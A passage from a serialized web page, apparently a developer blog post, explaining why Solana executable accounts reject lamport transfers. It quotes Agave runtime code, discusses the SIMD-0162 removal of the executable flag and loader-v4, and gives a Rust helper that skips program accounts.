",{"type":19,"tag":269,"props":70529,"children":70532},{"href":70530,"rel":70531},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[273],[70533],{"type":24,"value":70534},"BorrowedAccount::set_lamports",{"type":24,"value":948},{"type":19,"tag":158,"props":70537,"children":70539},{"className":363,"code":70538,"language":362,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[70540],{"type":19,"tag":27,"props":70541,"children":70542},{"__ignoreMap":7},[70543,70551,70572,70644,70652,70711,70743,70750,70758,70786,70818,70825,70833,70857,70889,70896,70904,70939,70955,70962,70990,71025,71036,71043,71050,71058,71077,71085,71125,71137,71149,71161,71192],{"type":19,"tag":168,"props":70544,"children":70545},{"class":170,"line":171},[70546],{"type":19,"tag":168,"props":70547,"children":70548},{"style":373},[70549],{"type":24,"value":70550},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":19,"tag":168,"props":70552,"children":70553},{"class":170,"line":198},[70554,70559,70563,70568],{"type":19,"tag":168,"props":70555,"children":70556},{"style":212},[70557],{"type":24,"value":70558},"#[cfg(not(target_os ",{"type":19,"tag":168,"props":70560,"children":70561},{"style":399},[70562],{"type":24,"value":486},{"type":19,"tag":168,"props":70564,"children":70565},{"style":181},[70566],{"type":24,"value":70567}," \"solana\"",{"type":19,"tag":168,"props":70569,"children":70570},{"style":212},[70571],{"type":24,"value":18063},{"type":19,"tag":168,"props":70573,"children":70574},{"class":170,"line":415},[70575,70579,70583,70588,70592,70596,70600,70604,70608,70612,70616,70620,70624,70628,70632,70636,70640],{"type":19,"tag":168,"props":70576,"children":70577},{"style":382},[70578],{"type":24,"value":11136},{"type":19,"tag":168,"props":70580,"children":70581},{"style":382},[70582],{"type":24,"value":11141},{"type":19,"tag":168,"props":70584,"children":70585},{"style":175},[70586],{"type":24,"value":70587}," set_lamports",{"type":19,"tag":168,"props":70589,"children":70590},{"style":212},[70591],{"type":24,"value":500},{"type":19,"tag":168,"props":70593,"children":70594},{"style":399},[70595],{"type":24,"value":505},{"type":19,"tag":168,"props":70597,"children":70598},{"style":382},[70599],{"type":24,"value":1142},{"type":19,"tag":168,"props":70601,"children":70602},{"style":382},[70603],{"type":24,"value":11243},{"type":19,"tag":168,"props":70605,"children":70606},{"style":212},[70607],{"type":24,"value":471},{"type":19,"tag":168,"props":70609,"children":70610},{"style":393},[70611],{"type":24,"value":12959},{"type":19,"tag":168,"props":70613,"children":70614},{"style":399},[70615],{"type":24,"value":1922},{"type":19,"tag":168,"props":70617,"children":70618},{"style":825},[70619],{"type":24,"value":3294},{"type":19,"tag":168,"props":70621,"children":70622},{"style":212},[70623],{"type":24,"value":481},{"type":19,"tag":168,"props":70625,"children":70626},{"style":399},[70627],{"type":24,"value":11203},{"type":19,"tag":168,"props":70629,"children":70630},{"style":825},[70631],{"type":24,"value":11208},{"type":19,"tag":168,"props":70633,"children":70634},{"style":212},[70635],{"type":24,"value":11213},{"type":19,"tag":168,"props":70637,"children":70638},{"style":825},[70639],{"type":24,"value":13206},{"type":19,"tag":168,"props":70641,"children":70642},{"style":212},[70643],{"type":24,"value":4717},{"type":19,"tag":168,"props":70645,"children":70646},{"class":170,"line":450},[70647],{"type":19,"tag":168,"props":70648,"children":70649},{"style":373},[70650],{"type":24,"value":70651}," // An account not owned by the program cannot have its balance decrease\n",{"type":19,"tag":168,"props":70653,"children":70654},{"class":170,"line":560},[70655,70659,70663,70667,70671,70676,70680,70685,70690,70694,70698,70702,70707],{"type":19,"tag":168,"props":70656,"children":70657},{"style":419},[70658],{"type":24,"value":9724},{"type":19,"tag":168,"props":70660,"children":70661},{"style":399},[70662],{"type":24,"value":10309},{"type":19,"tag":168,"props":70664,"children":70665},{"style":382},[70666],{"type":24,"value":11159},{"type":19,"tag":168,"props":70668,"children":70669},{"style":399},[70670],{"type":24,"value":948},{"type":19,"tag":168,"props":70672,"children":70673},{"style":175},[70674],{"type":24,"value":70675},"is_owned_by_current_program",{"type":19,"tag":168,"props":70677,"children":70678},{"style":212},[70679],{"type":24,"value":11489},{"type":19,"tag":168,"props":70681,"children":70682},{"style":399},[70683],{"type":24,"value":70684},"&&",{"type":19,"tag":168,"props":70686,"children":70687},{"style":393},[70688],{"type":24,"value":70689}," lamports",{"type":19,"tag":168,"props":70691,"children":70692},{"style":399},[70693],{"type":24,"value":6157},{"type":19,"tag":168,"props":70695,"children":70696},{"style":382},[70697],{"type":24,"value":11243},{"type":19,"tag":168,"props":70699,"children":70700},{"style":399},[70701],{"type":24,"value":948},{"type":19,"tag":168,"props":70703,"children":70704},{"style":175},[70705],{"type":24,"value":70706},"get_lamports",{"type":19,"tag":168,"props":70708,"children":70709},{"style":212},[70710],{"type":24,"value":13184},{"type":19,"tag":168,"props":70712,"children":70713},{"class":170,"line":666},[70714,70718,70722,70726,70730,70734,70739],{"type":19,"tag":168,"props":70715,"children":70716},{"style":419},[70717],{"type":24,"value":13192},{"type":19,"tag":168,"props":70719,"children":70720},{"style":825},[70721],{"type":24,"value":13197},{"type":19,"tag":168,"props":70723,"children":70724},{"style":212},[70725],{"type":24,"value":500},{"type":19,"tag":168,"props":70727,"children":70728},{"style":825},[70729],{"type":24,"value":13206},{"type":19,"tag":168,"props":70731,"children":70732},{"style":399},[70733],{"type":24,"value":888},{"type":19,"tag":168,"props":70735,"children":70736},{"style":825},[70737],{"type":24,"value":70738},"ExternalAccountLamportSpend",{"type":19,"tag":168,"props":70740,"children":70741},{"style":212},[70742],{"type":24,"value":1249},{"type":19,"tag":168,"props":70744,"children":70745},{"class":170,"line":694},[70746],{"type":19,"tag":168,"props":70747,"children":70748},{"style":212},[70749],{"type":24,"value":761},{"type":19,"tag":168,"props":70751,"children":70752},{"class":170,"line":707},[70753],{"type":19,"tag":168,"props":70754,"children":70755},{"style":373},[70756],{"type":24,"value":70757}," // The balance of read-only may not change\n",{"type":19,"tag":168,"props":70759,"children":70760},{"class":170,"line":725},[70761,70765,70769,70773,70777,70782],{"type":19,"tag":168,"props":70762,"children":70763},{"style":419},[70764],{"type":24,"value":9724},{"type":19,"tag":168,"props":70766,"children":70767},{"style":399},[70768],{"type":24,"value":10309},{"type":19,"tag":168,"props":70770,"children":70771},{"style":382},[70772],{"type":24,"value":11159},{"type":19,"tag":168,"props":70774,"children":70775},{"style":399},[70776],{"type":24,"value":948},{"type":19,"tag":168,"props":70778,"children":70779},{"style":175},[70780],{"type":24,"value":70781},"is_writable",{"type":19,"tag":168,"props":70783,"children":70784},{"style":212},[70785],{"type":24,"value":13184},{"type":19,"tag":168,"props":70787,"children":70788},{"class":170,"line":746},[70789,70793,70797,70801,70805,70809,70814],{"type":19,"tag":168,"props":70790,"children":70791},{"style":419},[70792],{"type":24,"value":13192},{"type":19,"tag":168,"props":70794,"children":70795},{"style":825},[70796],{"type":24,"value":13197},{"type":19,"tag":168,"props":70798,"children":70799},{"style":212},[70800],{"type":24,"value":500},{"type":19,"tag":168,"props":70802,"children":70803},{"style":825},[70804],{"type":24,"value":13206},{"type":19,"tag":168,"props":70806,"children":70807},{"style":399},[70808],{"type":24,"value":888},{"type":19,"tag":168,"props":70810,"children":70811},{"style":825},[70812],{"type":24,"value":70813},"ReadonlyLamportChange",{"type":19,"tag":168,"props":70815,"children":70816},{"style":212},[70817],{"type":24,"value":1249},{"type":19,"tag":168,"props":70819,"children":70820},{"class":170,"line":755},[70821],{"type":19,"tag":168,"props":70822,"children":70823},{"style":212},[70824],{"type":24,"value":761},{"type":19,"tag":168,"props":70826,"children":70827},{"class":170,"line":1008},[70828],{"type":19,"tag":168,"props":70829,"children":70830},{"style":373},[70831],{"type":24,"value":70832}," // The balance of executable accounts may not change\n",{"type":19,"tag":168,"props":70834,"children":70835},{"class":170,"line":1025},[70836,70840,70844,70848,70853],{"type":19,"tag":168,"props":70837,"children":70838},{"style":419},[70839],{"type":24,"value":9724},{"type":19,"tag":168,"props":70841,"children":70842},{"style":382},[70843],{"type":24,"value":11243},{"type":19,"tag":168,"props":70845,"children":70846},{"style":399},[70847],{"type":24,"value":948},{"type":19,"tag":168,"props":70849,"children":70850},{"style":175},[70851],{"type":24,"value":70852},"is_executable_internal",{"type":19,"tag":168,"props":70854,"children":70855},{"style":212},[70856],{"type":24,"value":13184},{"type":19,"tag":168,"props":70858,"children":70859},{"class":170,"line":1042},[70860,70864,70868,70872,70876,70880,70885],{"type":19,"tag":168,"props":70861,"children":70862},{"style":419},[70863],{"type":24,"value":13192},{"type":19,"tag":168,"props":70865,"children":70866},{"style":825},[70867],{"type":24,"value":13197},{"type":19,"tag":168,"props":70869,"children":70870},{"style":212},[70871],{"type":24,"value":500},{"type":19,"tag":168,"props":70873,"children":70874},{"style":825},[70875],{"type":24,"value":13206},{"type":19,"tag":168,"props":70877,"children":70878},{"style":399},[70879],{"type":24,"value":888},{"type":19,"tag":168,"props":70881,"children":70882},{"style":825},[70883],{"type":24,"value":70884},"ExecutableLamportChange",{"type":19,"tag":168,"props":70886,"children":70887},{"style":212},[70888],{"type":24,"value":1249},{"type":19,"tag":168,"props":70890,"children":70891},{"class":170,"line":1055},[70892],{"type":19,"tag":168,"props":70893,"children":70894},{"style":212},[70895],{"type":24,"value":761},{"type":19,"tag":168,"props":70897,"children":70898},{"class":170,"line":1064},[70899],{"type":19,"tag":168,"props":70900,"children":70901},{"style":373},[70902],{"type":24,"value":70903}," // don't touch the account if the lamports do not change\n",{"type":19,"tag":168,"props":70905,"children":70906},{"class":170,"line":1087},[70907,70911,70915,70919,70923,70927,70931,70935],{"type":19,"tag":168,"props":70908,"children":70909},{"style":419},[70910],{"type":24,"value":9724},{"type":19,"tag":168,"props":70912,"children":70913},{"style":382},[70914],{"type":24,"value":11243},{"type":19,"tag":168,"props":70916,"children":70917},{"style":399},[70918],{"type":24,"value":948},{"type":19,"tag":168,"props":70920,"children":70921},{"style":175},[70922],{"type":24,"value":70706},{"type":19,"tag":168,"props":70924,"children":70925},{"style":212},[70926],{"type":24,"value":11489},{"type":19,"tag":168,"props":70928,"children":70929},{"style":399},[70930],{"type":24,"value":6013},{"type":19,"tag":168,"props":70932,"children":70933},{"style":393},[70934],{"type":24,"value":70689},{"type":19,"tag":168,"props":70936,"children":70937},{"style":212},[70938],{"type":24,"value":691},{"type":19,"tag":168,"props":70940,"children":70941},{"class":170,"line":1096},[70942,70946,70950],{"type":19,"tag":168,"props":70943,"children":70944},{"style":419},[70945],{"type":24,"value":13192},{"type":19,"tag":168,"props":70947,"children":70948},{"style":825},[70949],{"type":24,"value":40414},{"type":19,"tag":168,"props":70951,"children":70952},{"style":212},[70953],{"type":24,"value":70954},"(());\n",{"type":19,"tag":168,"props":70956,"children":70957},{"class":170,"line":1105},[70958],{"type":19,"tag":168,"props":70959,"children":70960},{"style":212},[70961],{"type":24,"value":761},{"type":19,"tag":168,"props":70963,"children":70964},{"class":170,"line":1174},[70965,70969,70973,70978,70982,70986],{"type":19,"tag":168,"props":70966,"children":70967},{"style":382},[70968],{"type":24,"value":18241},{"type":19,"tag":168,"props":70970,"children":70971},{"style":399},[70972],{"type":24,"value":948},{"type":19,"tag":168,"props":70974,"children":70975},{"style":175},[70976],{"type":24,"value":70977},"touch",{"type":19,"tag":168,"props":70979,"children":70980},{"style":212},[70981],{"type":24,"value":11325},{"type":19,"tag":168,"props":70983,"children":70984},{"style":399},[70985],{"type":24,"value":552},{"type":19,"tag":168,"props":70987,"children":70988},{"style":212},[70989],{"type":24,"value":412},{"type":19,"tag":168,"props":70991,"children":70992},{"class":170,"line":1182},[70993,70997,71001,71005,71009,71013,71017,71021],{"type":19,"tag":168,"props":70994,"children":70995},{"style":382},[70996],{"type":24,"value":18241},{"type":19,"tag":168,"props":70998,"children":70999},{"style":399},[71000],{"type":24,"value":948},{"type":19,"tag":168,"props":71002,"children":71003},{"style":212},[71004],{"type":24,"value":10398},{"type":19,"tag":168,"props":71006,"children":71007},{"style":399},[71008],{"type":24,"value":948},{"type":19,"tag":168,"props":71010,"children":71011},{"style":175},[71012],{"type":24,"value":70520},{"type":19,"tag":168,"props":71014,"children":71015},{"style":212},[71016],{"type":24,"value":500},{"type":19,"tag":168,"props":71018,"children":71019},{"style":393},[71020],{"type":24,"value":12959},{"type":19,"tag":168,"props":71022,"children":71023},{"style":212},[71024],{"type":24,"value":1249},{"type":19,"tag":168,"props":71026,"children":71027},{"class":170,"line":1212},[71028,71032],{"type":19,"tag":168,"props":71029,"children":71030},{"style":825},[71031],{"type":24,"value":11779},{"type":19,"tag":168,"props":71033,"children":71034},{"style":212},[71035],{"type":24,"value":11784},{"type":19,"tag":168,"props":71037,"children":71038},{"class":170,"line":1220},[71039],{"type":19,"tag":168,"props":71040,"children":71041},{"style":212},[71042],{"type":24,"value":1326},{"type":19,"tag":168,"props":71044,"children":71045},{"class":170,"line":1252},[71046],{"type":19,"tag":168,"props":71047,"children":71048},{"emptyLinePlaceholder":14},[71049],{"type":24,"value":1093},{"type":19,"tag":168,"props":71051,"children":71052},{"class":170,"line":1260},[71053],{"type":19,"tag":168,"props":71054,"children":71055},{"style":373},[71056],{"type":24,"value":71057},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":19,"tag":168,"props":71059,"children":71060},{"class":170,"line":1320},[71061,71065,71069,71073],{"type":19,"tag":168,"props":71062,"children":71063},{"style":212},[71064],{"type":24,"value":70558},{"type":19,"tag":168,"props":71066,"children":71067},{"style":399},[71068],{"type":24,"value":486},{"type":19,"tag":168,"props":71070,"children":71071},{"style":181},[71072],{"type":24,"value":70567},{"type":19,"tag":168,"props":71074,"children":71075},{"style":212},[71076],{"type":24,"value":18063},{"type":19,"tag":168,"props":71078,"children":71079},{"class":170,"line":6486},[71080],{"type":19,"tag":168,"props":71081,"children":71082},{"style":212},[71083],{"type":24,"value":71084},"#[inline]\n",{"type":19,"tag":168,"props":71086,"children":71087},{"class":170,"line":6504},[71088,71092,71097,71101,71105,71109,71113,71117,71121],{"type":19,"tag":168,"props":71089,"children":71090},{"style":382},[71091],{"type":24,"value":17721},{"type":19,"tag":168,"props":71093,"children":71094},{"style":175},[71095],{"type":24,"value":71096}," is_executable_internal",{"type":19,"tag":168,"props":71098,"children":71099},{"style":212},[71100],{"type":24,"value":500},{"type":19,"tag":168,"props":71102,"children":71103},{"style":399},[71104],{"type":24,"value":505},{"type":19,"tag":168,"props":71106,"children":71107},{"style":382},[71108],{"type":24,"value":11159},{"type":19,"tag":168,"props":71110,"children":71111},{"style":212},[71112],{"type":24,"value":481},{"type":19,"tag":168,"props":71114,"children":71115},{"style":399},[71116],{"type":24,"value":11203},{"type":19,"tag":168,"props":71118,"children":71119},{"style":825},[71120],{"type":24,"value":9495},{"type":19,"tag":168,"props":71122,"children":71123},{"style":212},[71124],{"type":24,"value":691},{"type":19,"tag":168,"props":71126,"children":71127},{"class":170,"line":6549},[71128,71132],{"type":19,"tag":168,"props":71129,"children":71130},{"style":399},[71131],{"type":24,"value":18425},{"type":19,"tag":168,"props":71133,"children":71134},{"style":382},[71135],{"type":24,"value":71136},"self\n",{"type":19,"tag":168,"props":71138,"children":71139},{"class":170,"line":6655},[71140,71144],{"type":19,"tag":168,"props":71141,"children":71142},{"style":399},[71143],{"type":24,"value":65746},{"type":19,"tag":168,"props":71145,"children":71146},{"style":212},[71147],{"type":24,"value":71148},"transaction_context\n",{"type":19,"tag":168,"props":71150,"children":71151},{"class":170,"line":20965},[71152,71156],{"type":19,"tag":168,"props":71153,"children":71154},{"style":399},[71155],{"type":24,"value":65746},{"type":19,"tag":168,"props":71157,"children":71158},{"style":212},[71159],{"type":24,"value":71160},"remove_accounts_executable_flag_checks\n",{"type":19,"tag":168,"props":71162,"children":71163},{"class":170,"line":21000},[71164,71168,71172,71176,71180,71184,71188],{"type":19,"tag":168,"props":71165,"children":71166},{"style":399},[71167],{"type":24,"value":40278},{"type":19,"tag":168,"props":71169,"children":71170},{"style":382},[71171],{"type":24,"value":11243},{"type":19,"tag":168,"props":71173,"children":71174},{"style":399},[71175],{"type":24,"value":948},{"type":19,"tag":168,"props":71177,"children":71178},{"style":212},[71179],{"type":24,"value":10398},{"type":19,"tag":168,"props":71181,"children":71182},{"style":399},[71183],{"type":24,"value":948},{"type":19,"tag":168,"props":71185,"children":71186},{"style":175},[71187],{"type":24,"value":13103},{"type":19,"tag":168,"props":71189,"children":71190},{"style":212},[71191],{"type":24,"value":5172},{"type":19,"tag":168,"props":71193,"children":71194},{"class":170,"line":21008},[71195],{"type":19,"tag":168,"props":71196,"children":71197},{"style":212},[71198],{"type":24,"value":1326},{"type":19,"tag":20,"props":71200,"children":71201},{},[71202],{"type":24,"value":71203},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":19,"tag":20,"props":71205,"children":71206},{},[71207,71209,71214],{"type":24,"value":71208},"Specifically, ",{"type":19,"tag":51,"props":71210,"children":71211},{},[71212],{"type":24,"value":71213},"executable accounts",{"type":24,"value":71215}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":19,"tag":16345,"props":71217,"children":71219},{"id":71218},"sidebar-whats-the-executable-flag-anyway",[71220],{"type":24,"value":71221},"Sidebar: What's the executable Flag Anyway?",{"type":19,"tag":20,"props":71223,"children":71224},{},[71225,71226,71231],{"type":24,"value":14062},{"type":19,"tag":27,"props":71227,"children":71229},{"className":71228},[],[71230],{"type":24,"value":13103},{"type":24,"value":71232}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":19,"tag":20,"props":71234,"children":71235},{},[71236,71238,71243],{"type":24,"value":71237},"This behavior became problematic with the introduction of the ",{"type":19,"tag":51,"props":71239,"children":71240},{},[71241],{"type":24,"value":71242},"Upgradeable BPF Loader",{"type":24,"value":71244},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":19,"tag":158,"props":71246,"children":71248},{"className":363,"code":71247,"language":362,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[71249],{"type":19,"tag":27,"props":71250,"children":71251},{"__ignoreMap":7},[71252,71264,71272,71292,71300,71312,71320,71340,71348,71376,71384,71392],{"type":19,"tag":168,"props":71253,"children":71254},{"class":170,"line":171},[71255,71260],{"type":19,"tag":168,"props":71256,"children":71257},{"style":825},[71258],{"type":24,"value":71259},"Program",{"type":19,"tag":168,"props":71261,"children":71262},{"style":212},[71263],{"type":24,"value":691},{"type":19,"tag":168,"props":71265,"children":71266},{"class":170,"line":198},[71267],{"type":19,"tag":168,"props":71268,"children":71269},{"style":373},[71270],{"type":24,"value":71271}," /// Address of the ProgramData account.\n",{"type":19,"tag":168,"props":71273,"children":71274},{"class":170,"line":415},[71275,71280,71284,71288],{"type":19,"tag":168,"props":71276,"children":71277},{"style":393},[71278],{"type":24,"value":71279}," programdata_address",{"type":19,"tag":168,"props":71281,"children":71282},{"style":399},[71283],{"type":24,"value":1922},{"type":19,"tag":168,"props":71285,"children":71286},{"style":825},[71287],{"type":24,"value":18312},{"type":19,"tag":168,"props":71289,"children":71290},{"style":212},[71291],{"type":24,"value":915},{"type":19,"tag":168,"props":71293,"children":71294},{"class":170,"line":450},[71295],{"type":19,"tag":168,"props":71296,"children":71297},{"style":212},[71298],{"type":24,"value":71299},"},\n",{"type":19,"tag":168,"props":71301,"children":71302},{"class":170,"line":560},[71303,71308],{"type":19,"tag":168,"props":71304,"children":71305},{"style":825},[71306],{"type":24,"value":71307},"ProgramData",{"type":19,"tag":168,"props":71309,"children":71310},{"style":212},[71311],{"type":24,"value":691},{"type":19,"tag":168,"props":71313,"children":71314},{"class":170,"line":666},[71315],{"type":19,"tag":168,"props":71316,"children":71317},{"style":373},[71318],{"type":24,"value":71319}," /// Slot that the program was last modified.\n",{"type":19,"tag":168,"props":71321,"children":71322},{"class":170,"line":694},[71323,71328,71332,71336],{"type":19,"tag":168,"props":71324,"children":71325},{"style":393},[71326],{"type":24,"value":71327}," slot",{"type":19,"tag":168,"props":71329,"children":71330},{"style":399},[71331],{"type":24,"value":1922},{"type":19,"tag":168,"props":71333,"children":71334},{"style":825},[71335],{"type":24,"value":3294},{"type":19,"tag":168,"props":71337,"children":71338},{"style":212},[71339],{"type":24,"value":915},{"type":19,"tag":168,"props":71341,"children":71342},{"class":170,"line":707},[71343],{"type":19,"tag":168,"props":71344,"children":71345},{"style":373},[71346],{"type":24,"value":71347}," /// Address of the Program's upgrade authority.\n",{"type":19,"tag":168,"props":71349,"children":71350},{"class":170,"line":725},[71351,71356,71360,71364,71368,71372],{"type":19,"tag":168,"props":71352,"children":71353},{"style":393},[71354],{"type":24,"value":71355}," upgrade_authority_address",{"type":19,"tag":168,"props":71357,"children":71358},{"style":399},[71359],{"type":24,"value":1922},{"type":19,"tag":168,"props":71361,"children":71362},{"style":825},[71363],{"type":24,"value":25114},{"type":19,"tag":168,"props":71365,"children":71366},{"style":212},[71367],{"type":24,"value":3240},{"type":19,"tag":168,"props":71369,"children":71370},{"style":825},[71371],{"type":24,"value":18853},{"type":19,"tag":168,"props":71373,"children":71374},{"style":212},[71375],{"type":24,"value":3573},{"type":19,"tag":168,"props":71377,"children":71378},{"class":170,"line":746},[71379],{"type":19,"tag":168,"props":71380,"children":71381},{"style":373},[71382],{"type":24,"value":71383}," // The raw program data follows this serialized structure in the\n",{"type":19,"tag":168,"props":71385,"children":71386},{"class":170,"line":755},[71387],{"type":19,"tag":168,"props":71388,"children":71389},{"style":373},[71390],{"type":24,"value":71391}," // account's data.\n",{"type":19,"tag":168,"props":71393,"children":71394},{"class":170,"line":1008},[71395],{"type":19,"tag":168,"props":71396,"children":71397},{"style":212},[71398],{"type":24,"value":71299},{"type":19,"tag":20,"props":71400,"children":71401},{},[71402,71404,71411],{"type":24,"value":71403},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":19,"tag":269,"props":71405,"children":71408},{"href":71406,"rel":71407},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[273],[71409],{"type":24,"value":71410},"SIMD-0162",{"type":24,"value":71412},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":19,"tag":20,"props":71414,"children":71415},{},[71416,71418,71423,71425,71430],{"type":24,"value":71417},"This change is also a ",{"type":19,"tag":51,"props":71419,"children":71420},{},[71421],{"type":24,"value":71422},"hard requirement for supporting the new loader-v4",{"type":24,"value":71424},". Unlike the upgradable loader, which relies on a separate ",{"type":19,"tag":27,"props":71426,"children":71428},{"className":71427},[],[71429],{"type":24,"value":71307},{"type":24,"value":71431}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":19,"tag":20,"props":71433,"children":71434},{},[71435,71437,71444,71446,71451],{"type":24,"value":71436},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":19,"tag":269,"props":71438,"children":71441},{"href":71439,"rel":71440},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[273],[71442],{"type":24,"value":71443},"migrate",{"type":24,"value":71445}," from the upgradable loader to loader-v4 — without hitting the ",{"type":19,"tag":27,"props":71447,"children":71449},{"className":71448},[],[71450],{"type":24,"value":70884},{"type":24,"value":71452}," restriction.",{"type":19,"tag":16345,"props":71454,"children":71456},{"id":71455},"fix-2-reject-program-accounts",[71457],{"type":24,"value":71458},"Fix 2: Reject Program Accounts",{"type":19,"tag":20,"props":71460,"children":71461},{},[71462],{"type":24,"value":71463},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":19,"tag":158,"props":71465,"children":71467},{"className":363,"code":71466,"language":362,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[71468],{"type":19,"tag":27,"props":71469,"children":71470},{"__ignoreMap":7},[71471,71547,71595,71611,71618,71657,71701,71725,71774,71802],{"type":19,"tag":168,"props":71472,"children":71473},{"class":170,"line":171},[71474,71478,71482,71487,71491,71495,71499,71503,71507,71511,71515,71519,71523,71527,71531,71535,71539,71543],{"type":19,"tag":168,"props":71475,"children":71476},{"style":382},[71477],{"type":24,"value":11136},{"type":19,"tag":168,"props":71479,"children":71480},{"style":382},[71481],{"type":24,"value":11141},{"type":19,"tag":168,"props":71483,"children":71484},{"style":175},[71485],{"type":24,"value":71486}," can_transfer_lamports",{"type":19,"tag":168,"props":71488,"children":71489},{"style":212},[71490],{"type":24,"value":500},{"type":19,"tag":168,"props":71492,"children":71493},{"style":393},[71494],{"type":24,"value":10398},{"type":19,"tag":168,"props":71496,"children":71497},{"style":399},[71498],{"type":24,"value":1922},{"type":19,"tag":168,"props":71500,"children":71501},{"style":399},[71502],{"type":24,"value":4577},{"type":19,"tag":168,"props":71504,"children":71505},{"style":825},[71506],{"type":24,"value":12385},{"type":19,"tag":168,"props":71508,"children":71509},{"style":212},[71510],{"type":24,"value":471},{"type":19,"tag":168,"props":71512,"children":71513},{"style":393},[71514],{"type":24,"value":12959},{"type":19,"tag":168,"props":71516,"children":71517},{"style":399},[71518],{"type":24,"value":1922},{"type":19,"tag":168,"props":71520,"children":71521},{"style":825},[71522],{"type":24,"value":3294},{"type":19,"tag":168,"props":71524,"children":71525},{"style":212},[71526],{"type":24,"value":481},{"type":19,"tag":168,"props":71528,"children":71529},{"style":399},[71530],{"type":24,"value":11203},{"type":19,"tag":168,"props":71532,"children":71533},{"style":825},[71534],{"type":24,"value":11208},{"type":19,"tag":168,"props":71536,"children":71537},{"style":212},[71538],{"type":24,"value":3240},{"type":19,"tag":168,"props":71540,"children":71541},{"style":825},[71542],{"type":24,"value":27156},{"type":19,"tag":168,"props":71544,"children":71545},{"style":212},[71546],{"type":24,"value":4717},{"type":19,"tag":168,"props":71548,"children":71549},{"class":170,"line":198},[71550,71554,71559,71563,71567,71571,71575,71579,71583,71587,71591],{"type":19,"tag":168,"props":71551,"children":71552},{"style":382},[71553],{"type":24,"value":17721},{"type":19,"tag":168,"props":71555,"children":71556},{"style":175},[71557],{"type":24,"value":71558}," is_program",{"type":19,"tag":168,"props":71560,"children":71561},{"style":212},[71562],{"type":24,"value":500},{"type":19,"tag":168,"props":71564,"children":71565},{"style":393},[71566],{"type":24,"value":10398},{"type":19,"tag":168,"props":71568,"children":71569},{"style":399},[71570],{"type":24,"value":1922},{"type":19,"tag":168,"props":71572,"children":71573},{"style":399},[71574],{"type":24,"value":4577},{"type":19,"tag":168,"props":71576,"children":71577},{"style":825},[71578],{"type":24,"value":12385},{"type":19,"tag":168,"props":71580,"children":71581},{"style":212},[71582],{"type":24,"value":481},{"type":19,"tag":168,"props":71584,"children":71585},{"style":399},[71586],{"type":24,"value":11203},{"type":19,"tag":168,"props":71588,"children":71589},{"style":825},[71590],{"type":24,"value":9495},{"type":19,"tag":168,"props":71592,"children":71593},{"style":212},[71594],{"type":24,"value":691},{"type":19,"tag":168,"props":71596,"children":71597},{"class":170,"line":415},[71598,71602,71606],{"type":19,"tag":168,"props":71599,"children":71600},{"style":393},[71601],{"type":24,"value":22639},{"type":19,"tag":168,"props":71603,"children":71604},{"style":399},[71605],{"type":24,"value":948},{"type":19,"tag":168,"props":71607,"children":71608},{"style":212},[71609],{"type":24,"value":71610},"executable\n",{"type":19,"tag":168,"props":71612,"children":71613},{"class":170,"line":450},[71614],{"type":19,"tag":168,"props":71615,"children":71616},{"style":212},[71617],{"type":24,"value":1326},{"type":19,"tag":168,"props":71619,"children":71620},{"class":170,"line":560},[71621,71625,71629,71633,71637,71641,71645,71649,71653],{"type":19,"tag":168,"props":71622,"children":71623},{"style":382},[71624],{"type":24,"value":9232},{"type":19,"tag":168,"props":71626,"children":71627},{"style":393},[71628],{"type":24,"value":70378},{"type":19,"tag":168,"props":71630,"children":71631},{"style":399},[71632],{"type":24,"value":402},{"type":19,"tag":168,"props":71634,"children":71635},{"style":825},[71636],{"type":24,"value":40949},{"type":19,"tag":168,"props":71638,"children":71639},{"style":399},[71640],{"type":24,"value":888},{"type":19,"tag":168,"props":71642,"children":71643},{"style":175},[71644],{"type":24,"value":13800},{"type":19,"tag":168,"props":71646,"children":71647},{"style":212},[71648],{"type":24,"value":11325},{"type":19,"tag":168,"props":71650,"children":71651},{